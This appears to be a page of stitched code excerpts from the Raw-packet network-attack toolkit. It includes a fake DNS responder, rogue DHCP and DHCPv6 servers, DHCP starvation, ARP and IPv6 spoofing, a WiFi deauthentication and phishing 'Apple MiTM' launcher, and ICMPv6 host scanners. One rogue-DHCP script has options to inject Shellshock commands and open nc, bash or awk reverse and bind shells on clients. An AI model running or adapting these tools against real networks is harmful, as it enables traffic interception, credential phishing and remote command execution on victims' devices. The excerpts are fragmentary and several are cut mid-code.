            with open(file=self._log_file_name + '.' + self._log_file_format,
                      mode='w') as log_file:
                if self._log_file_format == 'csv':
                    log_file.write(
                        'From IP address,To IP address,Query type,Query name,Answer address\n'
                    )
                if self._log_file_format == 'xml':
                    log_file.write(
                        '<?xml version="1.0" ?>\n<dns_queries>\n</dns_queries>\n'
                    )
                if self._log_file_format == 'json':
                    log_file.write('{\n"dns_queries": [\n')

        with open(file=self._log_file_name + '.' + self._log_file_format,
                  mode='r+') as log_file:

            log_file_pointer: int = getsize(self._log_file_name + '.' +
                                            self._log_file_format)

            if self._log_file_format == 'csv' or self._log_file_format == 'txt':
                log_file.seek(log_file_pointer)
                log_file.write(from_ip_address + ',' + to_ip_address + ',' +
                               query_type + ',' + query_name + ',' +
                               answer_address + '\n')

            if self._log_file_format == 'json':
                if log_file_pointer > 20:
                    log_file.seek(log_file_pointer - 4, 0)
                    log_file.write(',')
                else:
                    log_file.seek(log_file_pointer)
                dump(
                    {
                        'from_ip_address': from_ip_address,
                        'to_ip_address': to_ip_address,
                        'query_type': query_type,
                        'query_name': query_name,
                        'answer_address': answer_address
                    },
                    log_file,
                    indent=4)
                log_file.write(']\n}\n')

            if self._log_file_format == 'xml':
                log_file.seek(log_file_pointer - 15, 0)
                log_file.write('\t<dns_query>\n' + '\t\t<from_ip_address>' +
                               from_ip_address + '</from_ip_address>\n' +
                               '\t\t<to_ip_address>' + to_ip_address +
                               '</to_ip_address>\n' + '\t\t<query_type>' +
                               query_type + '</query_type>\n' +
                               '\t\t<query_name>' + query_name +
                               '</query_name>\n' + '\t\t<answer_address>' +
                               answer_address + '</answer_address>\n' +
                               '\t</dns_query>\n' + '</dns_queries>\n')

    # endregion

    # region DNS integer query type to string
    @staticmethod
    def _int_type_to_str_type(query_type: int = 1) -> str:
        if query_type == DnsServer._A_DNS_QUERY:
            return 'A'
        elif query_type == DnsServer._AAAA_DNS_QUERY:
            return 'AAAA'
        elif query_type == DnsServer._NS_DNS_QUERY:
            return 'NS'
        elif query_type == DnsServer._MX_DNS_QUERY:
            return 'MX'
        else:
            return 'A'

    # endregion

    # region DNS string query type to integer
    @staticmethod
    def _str_type_to_int_type(query_type: str = 'A') -> int:
        if query_type == 'A':
            return DnsServer._A_DNS_QUERY
        elif query_type == 'AAAA':
            return DnsServer._AAAA_DNS_QUERY
        elif query_type == 'NS':
            return DnsServer._NS_DNS_QUERY
        elif query_type == 'MX':
            return DnsServer._MX_DNS_QUERY
        else:
            return 1

    # endregion

    # region Get first IPv4 or IPv6 address of domain
    @staticmethod
    def _get_domain_address(query_name: str,
                            query_type: int = 1) -> Union[List[str], None]:

        # region Check DNS query type and set proto
        if query_type == DnsServer._AAAA_DNS_QUERY:
            proto: int = AF_INET6
        elif query_type == DnsServer._A_DNS_QUERY:
            proto: int = AF_INET
        else:
            return None
        # endregion

        # region Resolve query name
        try:
            # Get list of addresses
            addresses = getaddrinfo(query_name, None, proto)
            # Return first address from list
            return [addresses[0][4][0]]
        except gaierror:
            # Could not resolve name
            return None
        # endregion

    # endregion

    # region DNS reply function
    def _reply(self, request: Dict) -> None:
        try:

            # region This request is DNS query
            assert 'DNS' in request.keys(), 'This is not DNS request!'

            for query in request['DNS']['queries']:

                # region Local variables
                assert ('IPv4' in request.keys() or 'IPv6'
                        in request.keys()), 'Not found Network layer protocol!'
                ip_src: Union[None, str] = None
                ip_dst: Union[None, str] = None
                if 'IPv4' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv4']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv4']['source-ip']
                if 'IPv6' in request.keys():
                    ip_src: Union[None,
                                  str] = request['IPv6']['destination-ip']
                    ip_dst: Union[None, str] = request['IPv6']['source-ip']
                answers: List[Dict[str, Union[int, str]]] = list()
                addresses: Union[None, str, List[str]] = None
                success: bool = False
                # endregion

                # region Check query name
                if query['name'].endswith('.'):
                    query['name']: str = query['name'][:-1]
                # endregion

                # region Check config
                for fake_domain_regexp in self._config.keys():

                    if match(fake_domain_regexp, query['name']):

                        # region No such domain
                        if 'no such domain' in self._config[
                                fake_domain_regexp].keys():
                            if self._config[fake_domain_regexp][
                                    'no such domain']:
                                addresses = ['no such domain']
                                break
                        # endregion

                        # region Success domain
                        if 'success' in self._config[fake_domain_regexp].keys(
                        ):
                            if self._config[fake_domain_regexp]['success']:
                                success = True
                        # endregion

                        # region Fake addresses is set
                        query_type_string: str = self._int_type_to_str_type(
                            query['type'])
                        if query_type_string in self._config[
                                fake_domain_regexp].keys():
                            if type(self._config[fake_domain_regexp]
                                    [query_type_string]) is str:
                                if self._config[fake_domain_regexp][
                                        query_type_string] == 'my ipv4 address':
                                    addresses = [self._your['ipv4-address']]
                                elif self._config[fake_domain_regexp][
                                        query_type_string] == 'my ipv6 address':
                                    addresses = [
                                        self._your['ipv6-link-address']
                                    ]
                                else:
                                    addresses = [
                                        self._config[fake_domain_regexp]
                                        [query_type_string]
                                    ]
                            if type(self._config[fake_domain_regexp]
                                    [query_type_string]) is list:
                                addresses = self._config[fake_domain_regexp][
                                    query_type_string]
                            break
                        # endregion

                        # region Fake address is NOT set
                        else:
                            addresses = self._get_domain_address(
                                query['name'], query['type'])
                        # endregion

                # endregion

                # region DNS query name NOT in fake domains regexp list
                if addresses is None:
                    addresses = self._get_domain_address(
                        query['name'], query['type'])
                # endregion

                # endregion

                # region Answer addresses is set

                assert addresses is not None, 'Addresses in DNS answer is None!'

                # region Create answer list
                dns_answer_flags = 0x8080

                for address in addresses:
                    if address == 'no such domain':
                        dns_answer_flags = 0x8183
                        answers = list()
                        break
                    else:
                        answers.append({
                            'name': query['name'],
                            'type': query['type'],
                            'class': query['class'],
                            'ttl': 65535,
                            'address': address
                        })

                # endregion

                # region Make dns answer packet
                dns_answer_packet: Union[
                    None, bytes] = self._dns.make_response_packet(
                        ethernet_src_mac=request['Ethernet']['destination'],
                        ethernet_dst_mac=request['Ethernet']['source'],
                        ip_src=ip_src,
                        ip_dst=ip_dst,
                        udp_src_port=request['UDP']['destination-port'],
                        udp_dst_port=request['UDP']['source-port'],
                        transaction_id=request['DNS']['transaction-id'],
                        flags=dns_answer_flags,
                        queries=[query],
                        answers_address=answers)
                # endregion

                # region Send DNS answer packet
                if dns_answer_packet is not None:
                    self._raw_send.send_packet(dns_answer_packet)
                # endregion

                # region Print info message
                if success and query['name'] != '':
                    self._base.print_success(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                if not success and query['name'] != '':
                    self._base.print_info(
                        'DNS query from: ', ip_dst, ' to ', ip_src, ' type: ',
                        self._int_type_to_str_type(query['type']), ' domain: ',
                        query['name'], ' answer: ', (', '.join(addresses)))
                self._write_to_log(from_ip_address=ip_dst,
                                   to_ip_address=ip_src,
                                   query_type=self._int_type_to_str_type(
                                       query['type']),
                                   query_name=query['name'],
                                   answer_address=(' '.join(addresses)))
                # endregion

                # endregion

            # endregion

        except AssertionError:
            pass
예제 #22
0
# endregion

# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Production'
# endregion

# region Check user, platform and create threads
Base = Base()
Base.check_user()
Base.check_platform()
tm = ThreadManager(3)
# endregion

# region Parse script arguments
parser = ArgumentParser(description='Rogue DHCP server for Apple devices')

parser.add_argument('-i', '--interface', help='Set interface name for send DHCP reply packets')
parser.add_argument('-t', '--target_mac', help='Set target MAC address, required!', required=True)
parser.add_argument('-I', '--target_ip', help='Set client IP address, required!', required=True)
parser.add_argument('-q', '--quiet', action='store_true', help='Minimal output')

args = parser.parse_args()
# endregion
예제 #23
0
# endregion

# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.1.1'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Development'
# endregion

# region Check user, platform and create threads
Base = Base()
Base.check_user()
Base.check_platform()
tm = ThreadManager(5)
# endregion

# region Parse script arguments
parser = ArgumentParser(description='Rogue SLAAC/DHCPv6 server')

parser.add_argument('-i',
                    '--interface',
                    help='Set interface name for send reply packets')
parser.add_argument('-p',
                    '--prefix',
                    type=str,
                    help='Set network prefix',
예제 #24
0
def reply(request):

    # region Define global variables
    global target_ip_address
    global target_mac_address
    global transaction_id_global
    global requested_ip
    global tm
    global SOCK
    global print_possible_mitm
    global print_success_mitm
    # endregion

    # region DHCP REQUESTS
    if 'DHCP' in request.keys():

        # region Get DHCP transaction id
        transaction_id = request['BOOTP']['transaction-id']
        # endregion

        # region DHCP DECLINE
        if request['DHCP'][53] == 4:
            Base.print_info("DHCP DECLINE from: ", target_mac_address, " transaction id: ", hex(transaction_id))
            if transaction_id_global != 0:
                tm.add_task(dhcp_response_sender)
        # endregion

        # region DHCP REQUEST
        if request['DHCP'][53] == 3:

            # region Get next DHCP transaction id
            if transaction_id != 0:
                transaction_id_global = transaction_id + 1
                Base.print_info("Current transaction id: ", hex(transaction_id))
                Base.print_success("Next transaction id: ", hex(transaction_id_global))
            # endregion

            # region Get DHCP requested ip address
            if 50 in request['DHCP'].keys():
                requested_ip = str(request['DHCP'][50])
            # endregion

            # region Print info message
            Base.print_info("DHCP REQUEST from: ", target_mac_address, " transaction id: ", hex(transaction_id),
                            " requested ip: ", requested_ip)
            # endregion

            # region If requested IP is target IP - print Possible mitm success
            if requested_ip == target_ip_address:
                if not print_possible_mitm:
                    Base.print_warning("Possible MiTM success: ", target_ip_address + " (" + target_mac_address + ")")
                    print_possible_mitm = True
            # endregion

        # endregion

    # endregion

    # region ARP REQUESTS
    if 'ARP' in request.keys():
        if requested_ip is not None:
            if request['Ethernet']['destination'] == "ff:ff:ff:ff:ff:ff" and \
                    request['ARP']['target-mac'] == "00:00:00:00:00:00":

                # region Set local variables
                arp_sender_mac_address = request['ARP']['sender-mac']
                arp_sender_ip_address = request['ARP']['sender-ip']
                arp_target_ip_address = request['ARP']['target-ip']
                # endregion

                # region Print info message
                Base.print_info("ARP request from: ", arp_sender_mac_address, " \"",
                                "Who has " + arp_target_ip_address + "? Tell " + arp_sender_ip_address, "\"")
                # endregion

                # region ARP target IP is DHCP requested IP
                if arp_target_ip_address == requested_ip:

                    # region If ARP target IP is target IP - print Possible mitm success
                    if arp_target_ip_address == target_ip_address:
                        if not print_possible_mitm:
                            Base.print_warning("Possible MiTM success: ",
                                               target_ip_address + " (" + target_mac_address + ")")
                            print_possible_mitm = True
                    # endregion

                    # region If ARP target IP is not target IP - send 'IPv4 address conflict' ARP response
                    else:
                        arp_reply = arp.make_response(ethernet_src_mac=your_mac_address,
                                                      ethernet_dst_mac=target_mac_address,
                                                      sender_mac=your_mac_address,
                                                      sender_ip=requested_ip,
                                                      target_mac=arp_sender_mac_address,
                                                      target_ip=arp_sender_ip_address)
                        SOCK.send(arp_reply)
                        Base.print_info("ARP response to:  ", arp_sender_mac_address, " \"",
                                        arp_target_ip_address + " is at " + your_mac_address,
                                        "\" (IPv4 address conflict)")
                    # endregion

                # endregion

                # region ARP target IP is your IP - MITM SUCCESS
                if arp_target_ip_address == your_ip_address:
                    if not print_success_mitm:
                        Base.print_success("MITM success: ", target_ip_address + " (" + target_mac_address + ")")
                        print_success_mitm = True
                    sleep(5)
                    exit(0)
예제 #25
0
def main():

    # region Init Raw-packet classes
    base: Base = Base(admin_only=True,
                      available_platforms=['Linux', 'Darwin', 'Windows'])
    # endregion

    # region Parse script arguments
    parser: ArgumentParser = ArgumentParser(
        description=base.get_banner(__script_name__),
        formatter_class=RawDescriptionHelpFormatter)
    parser.add_argument('-i',
                        '--interface',
                        help='Set interface name for send reply packets')
    parser.add_argument('-f',
                        '--first_offer_ip',
                        type=str,
                        help='Set first client ip for offering',
                        default=None)
    parser.add_argument('-l',
                        '--last_offer_ip',
                        type=str,
                        help='Set last client ip for offering',
                        default=None)
    parser.add_argument('-m',
                        '--target_mac',
                        type=str,
                        help='Set target MAC address',
                        default=None)
    parser.add_argument('-t',
                        '--target_ip',
                        type=str,
                        help='Set client IP address with MAC in --target_mac',
                        default=None)
    parser.add_argument('--netmask',
                        type=str,
                        help='Set network mask',
                        default=None)
    parser.add_argument(
        '--dhcp_mac',
        type=str,
        help='Set DHCP server MAC address, if not set use your MAC address',
        default=None)
    parser.add_argument(
        '--dhcp_ip',
        type=str,
        help='Set DHCP server IP address, if not set use your IP address',
        default=None)
    parser.add_argument(
        '--router',
        type=str,
        help='Set router IP address, if not set use your ip address',
        default=None)
    parser.add_argument(
        '--dns',
        type=str,
        help='Set DNS server IP address, if not set use your ip address',
        default=None)
    parser.add_argument('--tftp',
                        type=str,
                        help='Set TFTP server IP address',
                        default=None)
    parser.add_argument('--wins',
                        type=str,
                        help='Set WINS server IP address',
                        default=None)
    parser.add_argument('--domain',
                        type=str,
                        help='Set domain name for search, default=local',
                        default='local')
    parser.add_argument('--lease_time',
                        type=int,
                        help='Set lease time, default=172800',
                        default=172800)
    parser.add_argument(
        '--discover',
        action='store_true',
        help='Send DHCP discover packets in the background thread')
    parser.add_argument(
        '-O',
        '--shellshock_option_code',
        type=int,
        help='Set dhcp option code for inject shellshock payload, default=114',
        default=114)
    parser.add_argument('-c',
                        '--shellshock_command',
                        type=str,
                        help='Set shellshock command in DHCP client')
    parser.add_argument('-b',
                        '--bind_shell',
                        action='store_true',
                        help='Use awk bind tcp shell in DHCP client')
    parser.add_argument('-p',
                        '--bind_port',
                        type=int,
                        help='Set port for listen bind shell (default=1234)',
                        default=1234)
    parser.add_argument('-N',
                        '--nc_reverse_shell',
                        action='store_true',
                        help='Use nc reverse tcp shell in DHCP client')
    parser.add_argument('-E',
                        '--nce_reverse_shell',
                        action='store_true',
                        help='Use nc -e reverse tcp shell in DHCP client')
    parser.add_argument('-R',
                        '--bash_reverse_shell',
                        action='store_true',
                        help='Use bash reverse tcp shell in DHCP client')
    parser.add_argument('-e',
                        '--reverse_port',
                        type=int,
                        help='Set port for listen bind shell (default=443)',
                        default=443)
    parser.add_argument('-n',
                        '--without_network',
                        action='store_true',
                        help='Do not add network configure in payload')
    parser.add_argument('-B',
                        '--without_base64',
                        action='store_true',
                        help='Do not use base64 encode in payload')
    parser.add_argument(
        '--ip_path',
        type=str,
        help='Set path to "ip" in shellshock payload, default = /bin/',
        default='/bin/')
    parser.add_argument(
        '--iface_name',
        type=str,
        help='Set iface name in shellshock payload, default = eth0',
        default='eth0')
    parser.add_argument('--broadcast_response',
                        action='store_true',
                        help='Send broadcast response')
    parser.add_argument('--dnsop',
                        action='store_true',
                        help='Do not send DHCP OFFER packets')
    parser.add_argument('--exit',
                        action='store_true',
                        help='Exit on success MiTM attack')
    parser.add_argument('--apple',
                        action='store_true',
                        help='Add delay before send DHCP ACK')
    parser.add_argument('-q',
                        '--quiet',
                        action='store_true',
                        help='Minimal output')
    args = parser.parse_args()
    # endregion

    # region Print banner if argument quit is not set
    if not args.quiet:
        base.print_banner(__script_name__)
    # endregion

    # region Get your network settings
    current_network_interface: str = \
        base.network_interface_selection(interface_name=args.interface,
                                         message='Please select a network interface for ' +
                                                 __script_name__ + ' from table: ')
    # endregion

    try:
        dhcpv4_server: DHCPv4Server = DHCPv4Server(
            network_interface=current_network_interface)
        dhcpv4_server.start(
            target_mac_address=args.target_mac,
            target_ipv4_address=args.target_ip,
            first_offer_ipv4_address=args.first_offer_ip,
            last_offer_ipv4_address=args.last_offer_ip,
            dhcp_server_mac_address=args.dhcp_mac,
            dhcp_server_ipv4_address=args.dhcp_mac,
            dns_server_ipv4_address=args.dns,
            tftp_server_ipv4_address=args.tftp,
            wins_server_ipv4_address=args.wins,
            router_ipv4_address=args.router,
            domain_search=args.domain,
            ipv4_network_mask=args.netmask,
            lease_time=args.lease_time,
            shellshock_option_code=args.shellshock_option_code,
            send_dhcp_discover_packets=args.discover,
            send_dhcp_offer_packets=not args.dnsop,
            send_broadcast_dhcp_response=args.broadcast_response,
            exit_on_success=args.exit,
            apple=args.apple,
            quiet=args.quiet)

    except KeyboardInterrupt:
        base.print_info('Exit')
        exit(0)

    except AssertionError as Error:
        base.print_error(Error.args[0])
        exit(1)
예제 #26
0
# region Raw-packet modules
from raw_packet.Utils.base import Base
from raw_packet.Utils.network import ARP_raw
from raw_packet.Scanners.arp_scanner import ArpScan
# endregion

# region Import libraries
from argparse import ArgumentParser
from socket import socket, AF_PACKET, SOCK_RAW
from ipaddress import IPv4Address
from time import sleep
from prettytable import PrettyTable
# endregion

# region Check user, platform and create threads
Base = Base()
Base.check_user()
Base.check_platform()
arp = ARP_raw()
# endregion

# endregion

# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
예제 #27
0
def main():

    # region Init Raw-packet Base class
    base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows'])
    # endregion

    # region Parse script arguments
    parser: ArgumentParser = ArgumentParser(description=base.get_banner(__script_name__),
                                            formatter_class=RawTextHelpFormatter)
    if base.get_platform().startswith('Linux'):
        parser.add_argument('-T', '--technique', type=int, default=None,
                            help='Set MiTM technique:'
                                 '\n1. ARP Spoofing'
                                 '\n2. Second DHCP ACK'
                                 '\n3. Predict next DHCP transaction ID'
                                 '\n4. Rogue SLAAC/DHCPv6 server'
                                 '\n5. NA Spoofing (IPv6)'
                                 '\n6. RA Spoofing (IPv6)')
        parser.add_argument('-D', '--disconnect', type=int, default=None,
                            help='Set device Disconnect technique:'
                                 '\n1. IPv4 network conflict detection'
                                 '\n2. Send WiFi deauthentication packets'
                                 '\n3. Do not disconnect device after MiTM')
    else:
        parser.add_argument('-T', '--technique', type=int, default=None,
                            help='Set MiTM technique:'
                                 '\n1. ARP Spoofing'
                                 '\n2. Predict next DHCP transaction ID'
                                 '\n3. Rogue SLAAC/DHCPv6 server'
                                 '\n4. NA Spoofing (IPv6)'
                                 '\n5. RA Spoofing (IPv6)')
        parser.add_argument('-D', '--disconnect', type=int, default=None,
                            help='Set device Disconnect technique:'
                                 '\n1. IPv4 network conflict detection'
                                 '\n2. Do not disconnect device after MiTM')
    parser.add_argument('-P', '--phishing_site', type=str, default='apple',
                        help='Set Phishing site "apple", "google" or Path to your site')
    parser.add_argument('-i', '--mitm_iface', type=str, help='Set interface name for MiTM')
    parser.add_argument('-d', '--deauth_iface', type=str, help='Set interface name for send wifi deauth packets')
    parser.add_argument('-0', '--deauth_packets', type=int, help='Set number of deauth packets (default: 25)',
                        default=25)
    parser.add_argument('-g4', '--gateway_ipv4', type=str, help='Set gateway IPv4 address', default=None)
    parser.add_argument('-g6', '--gateway_ipv6', type=str, help='Set gateway IPv6 address', default=None)
    parser.add_argument('-d4', '--dns_ipv4', type=str, help='Set DNS server IPv4 address', default=None)
    parser.add_argument('-d6', '--dns_ipv6', type=str, help='Set DNS server IPv6 address', default=None)
    parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None)
    parser.add_argument('-t4', '--target_ipv4', type=str, help='Set target IPv4 address', default=None)
    parser.add_argument('-n4', '--target_new_ipv4', type=str, help='Set new IPv4 address for target', default=None)
    parser.add_argument('-t6', '--target_ipv6', type=str, help='Set link local target IPv6 address', default=None)
    parser.add_argument('-n6', '--target_new_ipv6', type=str, help='Set new global IPv6 address for target', default=None)
    parser.add_argument('--ipv6_prefix', type=str, help='Set IPv6 network prefix, default - fde4:8dba:82e1:ffff::/64',
                        default='fde4:8dba:82e1:ffff::/64')
    args = parser.parse_args()
    # endregion

    # region Print banner
    base.print_banner(__script_name__)
    # endregion

    # region Start Apple MiTM
    try:
        apple_mitm: AppleMitm = AppleMitm()
        apple_mitm.start(mitm_technique=args.technique,
                         disconnect_technique=args.disconnect,
                         mitm_interface=args.mitm_iface,
                         deauth_interface=args.deauth_iface,
                         target_mac_address=args.target_mac,
                         target_ipv4_address=args.target_ipv4,
                         target_new_ipv4_address=args.target_new_ipv4,
                         target_ipv6_address=args.target_ipv6,
                         target_new_ipv6_address=args.target_new_ipv6,
                         gateway_ipv4_address=args.gateway_ipv4,
                         gateway_ipv6_address=args.gateway_ipv6,
                         dns_ipv4_address=args.dns_ipv4,
                         dns_ipv6_address=args.dns_ipv6,
                         ipv6_prefix=args.ipv6_prefix,
                         phishing_site=args.phishing_site)

    except KeyboardInterrupt:
        base.print_info('Exit')
        exit(0)

    except AssertionError as Error:
        base.print_error(Error.args[0])
        exit(1)
예제 #28
0
# endregion

# region Authorship information
__author__ = 'Vladimir Ivanov'
__copyright__ = 'Copyright 2019, Raw-packet Project'
__credits__ = ['']
__license__ = 'MIT'
__version__ = '0.0.4'
__maintainer__ = 'Vladimir Ivanov'
__email__ = '*****@*****.**'
__status__ = 'Production'
# endregion

# region Check user, platform and print banner
Base = Base()
Base.check_user()
Base.check_platform()
Base.print_banner()
# endregion

# region Parse script arguments
parser = ArgumentParser(description='DHCP Starvation attack script')

parser.add_argument('-i',
                    '--interface',
                    type=str,
                    help='Set interface name for send discover packets')
parser.add_argument('-d',
                    '--delay',
                    type=int,
예제 #29
0
def main():

    # region Init Raw-packet classes
    base: Base = Base(admin_only=True, available_platforms=['Linux', 'Darwin', 'Windows'])
    utils: Utils = Utils()
    # endregion

    # region Parse script arguments
    parser: ArgumentParser = ArgumentParser(description=base.get_banner(__script_name__),
                                            formatter_class=RawDescriptionHelpFormatter)
    parser.add_argument('-i', '--interface', type=str, help='Set interface name for ARP scanner')
    parser.add_argument('-m', '--target_mac', type=str, help='Set target MAC address', default=None)
    parser.add_argument('-t', '--timeout', type=int, help='Set timeout (default=5)', default=5)
    parser.add_argument('-r', '--retry', type=int, help='Set number of retry (default=5)', default=5)
    parser.add_argument('-s', '--router_search', action='store_true', help='Search router IPv6 link local address')
    args = parser.parse_args()
    base.print_banner()
    # endregion

    # region Get your network settings
    current_network_interface: str = \
        base.network_interface_selection(interface_name=args.interface,
                                         message='Please select a network interface for ' +
                                                 __script_name__ + ' from table: ')
    current_network_interface_settings: Dict[str, Union[None, str, List[str]]] = \
        base.get_interface_settings(interface_name=current_network_interface,
                                    required_parameters=['mac-address',
                                                         'ipv4-address'])
    if current_network_interface_settings['ipv6-link-address'] is None:
        current_network_interface_settings['ipv6-link-address'] = \
            base.make_ipv6_link_address(current_network_interface_settings['mac-address'])
    icmpv6_scan: ICMPv6Scan = ICMPv6Scan(network_interface=current_network_interface)
    router_search: ICMPv6RouterSearch = ICMPv6RouterSearch(network_interface=current_network_interface)
    # endregion

    # region Set Target MAC address
    target_mac_address: Union[None, str] = None
    if args.target_mac is not None:
        target_mac_address: str = utils.check_mac_address(mac_address=args.target_mac,
                                                          parameter_name='target MAC address')
    # endregion

    # region General output
    base.print_info("Network interface: ", current_network_interface)
    base.print_info("Your IPv6 address: ", current_network_interface_settings['ipv6-link-address'])
    base.print_info("Your MAC address: ", current_network_interface_settings['mac-address'])
    if target_mac_address is not None:
        base.print_info("Target MAC address: ", target_mac_address)
    base.print_info("Timeout: ", str(args.timeout) + " sec.")
    base.print_info("Retry: ", str(args.retry))
    # endregion

    # region Search IPv6 router
    if args.router_search:
        router_info: Dict[str, Union[int, str]] = router_search.search(timeout=args.timeout, retry=args.retry,
                                                                       exit_on_failure=True)
        base.print_success("Found IPv6 router:")
        base.print_info("Router IPv6 link local address: ", router_info['router_ipv6_address'])
        if 'dns-server' in router_info.keys():
            base.print_info("DNS server IPv6 address: ", str(router_info['dns-server']))
        if 'router_mac_address' in router_info.keys():
            base.print_info("Router MAC address: ", router_info['router_mac_address'])
        if 'vendor' in router_info.keys():
            base.print_info("Router vendor: ", router_info['vendor'])
        if 'router-lifetime' in router_info.keys():
            base.print_info("Router lifetime (s): ", str(router_info['router-lifetime']))
        if 'reachable-time' in router_info.keys():
            base.print_info("Reachable time (ms): ", str(router_info['reachable-time']))
        if 'retrans-timer' in router_info.keys():
            base.print_info("Retrans timer (ms): ", str(router_info['retrans-timer']))
        if 'prefix' in router_info.keys():
            base.print_info("Prefix: ", str(router_info['prefix']))
        if 'mtu' in router_info.keys():
            base.print_info("MTU: ", str(router_info['mtu']))
    # endregion

    # region Scan IPv6 hosts
    else:
        results: List[Dict[str, str]] = icmpv6_scan.scan(timeout=args.timeout, retry=args.retry,
                                                         target_mac_address=target_mac_address, check_vendor=True,
                                                         exit_on_failure=True)
        base.print_success('Found ', str(len(results)), ' alive hosts on interface: ', current_network_interface)
        pretty_table = PrettyTable([base.cINFO + 'Index' + base.cEND,
                                    base.cINFO + 'IPv6 address' + base.cEND,
                                    base.cINFO + 'MAC address' + base.cEND,
                                    base.cINFO + 'Vendor' + base.cEND])
        index: int = 1
        for result in results:
            pretty_table.add_row([index, result['ip-address'], result['mac-address'], result['vendor']])
            index += 1
        print(pretty_table)
예제 #30
0
class ICMPv6Scan:

    # region Set variables
    _base: Base = Base()
    _icmpv6: RawICMPv6 = RawICMPv6()
    _raw_sniff: RawSniff = RawSniff()
    _thread_manager: ThreadManager = ThreadManager(2)

    _your: Dict[str, Union[None, str]] = {
        'network-interface': None,
        'mac-address': None,
        'ipv6-link-address': None
    }
    _target: Dict[str, Union[None, str]] = {
        'ipv6-address': None,
        'mac-address': 'ff:ff:ff:ff:ff:ff',
        'vendor': None
    }

    _results: List[Dict[str, str]] = list()
    _unique_results: List[Dict[str, str]] = list()
    _mac_addresses: List[str] = list()

    _retry_number: int = 3
    _timeout: int = 3

    _icmpv6_identifier: int = 0

    # endregion

    # region Init
    def __init__(self, network_interface: str) -> None:
        """
        Init
        :param network_interface: Network interface name (example: 'eth0')
        """
        self._your = self._base.get_interface_settings(
            interface_name=network_interface,
            required_parameters=['mac-address', 'ipv6-link-address'])
        self._raw_send: RawSend = RawSend(network_interface=network_interface)

    # endregion

    # region Analyze packet
    def _analyze_packet(self, packet: Dict) -> None:
        try:
            assert 'Ethernet' in packet.keys()
            assert 'IPv6' in packet.keys()
            assert 'ICMPv6' in packet.keys()
            assert 'type' in packet['ICMPv6'].keys()
            assert 'identifier' in packet['ICMPv6'].keys()

            # 129 Type of ICMPv6 Echo (ping) reply
            assert packet['ICMPv6']['type'] == 129, \
                'Not ICMPv6 Echo (ping) reply packet!'

            # Check ICMPv6 Echo (ping) reply identifier
            assert packet['ICMPv6']['identifier'] == self._icmpv6_identifier, \
                'ICMPv6 Echo (ping) reply bad identifier'

            # Add MAC- and IPv6-address in result list
            self._results.append({
                'mac-address': packet['Ethernet']['source'],
                'ip-address': packet['IPv6']['source-ip']
            })

        except AssertionError:
            pass

    # endregion

    # region Sniffer
    def _sniff(self) -> None:
        """
        Sniff ICMPv6 packets
        :return: None
        """
        self._raw_sniff.start(
            protocols=['Ethernet', 'IPv6', 'ICMPv6'],
            prn=self._analyze_packet,
            filters={
                'Ethernet': {
                    'destination': self._your['mac-address']
                },
                'IPv6': {
                    'destination-ip': self._your['ipv6-link-address']
                },
                'ICMPv6': {
                    'type': 129
                }
            },
            network_interface=self._your['network-interface'],
            scapy_filter='icmp6',
            scapy_lfilter=lambda eth: eth.dst == self._your['mac-address'])

    # endregion

    # region Sender
    def _send(self) -> None:
        """
        Send ICMPv6 packets
        :return: None
        """
        request: bytes = self._icmpv6.make_echo_request_packet(
            ethernet_src_mac=self._your['mac-address'],
            ethernet_dst_mac=self._target['mac-address'],
            ipv6_src=self._your['ipv6-link-address'],
            ipv6_dst='ff02::1',
            id=self._icmpv6_identifier)
        self._raw_send.send_packet(packet=request,
                                   count=self._retry_number,
                                   delay=0.3)

    # endregion

    # region Scanner
    def scan(self,
             timeout: int = 3,
             retry: int = 3,
             target_mac_address: Union[None, str] = None,
             check_vendor: bool = True,
             exit_on_failure: bool = True,
             exclude_ipv6_addresses: List[str] = []) -> List[Dict[str, str]]:
        """
        Find alive IPv6 hosts in local network with echo (ping) request packets
        :param timeout: Timeout in seconds (default: 3)
        :param retry: Retry number (default: 3)
        :param target_mac_address: Target MAC address (example: 192.168.0.1)
        :param check_vendor: Check vendor of hosts (default: True)
        :param exit_on_failure: Exit if alive IPv6 hosts in network not found (default: True)
        :return: List of alive hosts in network (example: [{'mac-address': '01:23:45:67:89:0a',
                                                            'ip-address': 'fe80::1234:5678:90ab:cdef',
                                                            'vendor': 'Apple, Inc.'}])
        """

        # region Clear lists with scan results
        self._results.clear()
        self._unique_results.clear()
        self._mac_addresses.clear()
        # endregion

        # region Set variables
        if target_mac_address is not None:
            self._base.mac_address_validation(mac_address=target_mac_address,
                                              exit_on_failure=True)
            self._target['mac-address'] = target_mac_address
        self._timeout = int(timeout)
        self._retry_number = int(retry)
        self._icmpv6_identifier = randint(1, 65535)
        # endregion

        # region Run _sniffer
        self._thread_manager.add_task(self._sniff)
        # endregion

        # region Run _sender
        self._send()
        # endregion

        # region Wait
        sleep(self._timeout)
        # endregion

        # region Unique results
        for index in range(len(self._results)):
            if self._results[index]['mac-address'] not in self._mac_addresses:
                self._unique_results.append(self._results[index])
                self._mac_addresses.append(self._results[index]['mac-address'])
        # endregion

        # region Get vendors
        if check_vendor:
            for result_index in range(len(self._unique_results)):
                self._unique_results[result_index]['vendor'] = \
                    self._base.get_vendor_by_mac_address(self._unique_results[result_index]['mac-address'])
        # endregion

        # region Exclude IPv6 addresses
        if len(exclude_ipv6_addresses) > 0:
            results: List[Dict[str, str]] = list()
            for unique_result in self._unique_results:
                if unique_result['ip-address'] not in exclude_ipv6_addresses:
                    results.append(unique_result)
